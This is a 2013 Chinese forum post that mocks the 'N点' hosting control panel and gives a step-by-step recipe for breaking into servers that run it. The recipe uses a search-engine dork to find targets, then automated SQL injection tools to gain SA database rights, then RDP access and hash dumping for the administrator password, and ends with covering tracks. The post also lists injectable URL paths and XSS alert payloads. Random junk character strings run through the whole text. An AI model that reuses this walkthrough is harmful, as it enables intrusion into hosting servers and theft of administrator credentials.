不得不说N点实在是一个破东西
4 L# G% j3 ]& f* `9 r就算他开发的商业版，就算商业版附带了安全设置也不能掩饰他的破烂/ q% T1 E" h9 W
好吧 抱怨一下就行了 接下来关键的时候到了0 Y/ ~4 O+ b# d7 q0 j# N3 O% F
首先百度搜索关键字：inurl: (mmdatabase.asp)2 m( Z: j8 Z& ], B. i
我随便列举一个： www.xxxx.com
3 C9 t/ R9 z1 L/ [' @1 v% D0 s修改链接：http://www.xxxx.com:80/Style/new ... &RID=1&ID=1
z4 M* T" t+ Z5 T扔入NBSI 或者啊D等各种傻逼工具后7 U/ D9 A' _9 V4 h( C- @; u+ _5 n
你们会看到是SA权限2 Z9 A! W1 m" P0 P% `1 D7 ?
果断3389 上去 hash得到administrator密码
: h8 e# ?6 q% k8 P# M$ g擦屁股走人~3 g6 c* n; L2 u* y% W5 X
经过基友本人测试10个这个程序5个以上有这个漏洞5个里面有一半是SA权限的& p- M6 y( `' e# P' s
( d- m: A2 j4 n' S7 m
再附上其他几个漏洞页面3 ?' Q" m1 f* |+ @+ R- t$ Y
SQL：
+ b- a* q: P8 Lhttp://www.xxxxxx.com:80/Style/flashad/flashad.asp?adid=16 x" C2 ^* O, I& r4 Y6 T5 _8 q P
http://www.xxxxxx.com:80/Manage/ ... ogin.asp&PID=11) W+ b" }* V. X
http://www.xxxxxx.com:80/Manage/ ... login.asp&PID=9" s- y0 O1 h$ e6 E) p& U
http://www.xxxxxx.com:80/Style/vhosting.asp?classID=2
' g% f3 ^$ Y; }! g# ]% [) oXSS证明：* T V x3 n2 Y5 o8 C
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”( C4 S0 m8 Z8 Y, ^
http://www.xxxxxx.com:80/Manage/ ... yle/memberlogin.asp”;alert(42873);”$ t" [, g, y" b: ^1 b Z% S/ t
http://www.xxxxxx.com:80/Style/d ... mp;checkbox2=.bj.cn<script>alert(42873)</script>
$ {- t4 v* k/ `" r由此可见点就是坑逼中的战斗机 自从用了他我的眼泪都流干了 有做IDC的朋友千万别步我后尘啊 便宜没好货好货不便宜' [3 q. O& a4 D) A3 e6 o% ]
还是星外吧 你们懂的
0 E7 L' ?5 k# G* j! \- ?1 e9 b& b作为一个商用程序 安全如此堪忧甚至于连网上开源的一些程序都有所不如，这样的公司能走多远？
. N; g- ]% }6 n) lPS：其实我真的很想知道你说N点这SB asp就asp吧 为什么asp还非要MSSQL 这不是好像告诉我们快来日吧我们很容易日的，裤子都脱啦，就等你啦。 o(︶︿︶)o 唉' P, o; u( x) a" |5 h, H
——- |
发表于 2013-3-3 08:06:44
收藏
支持
反对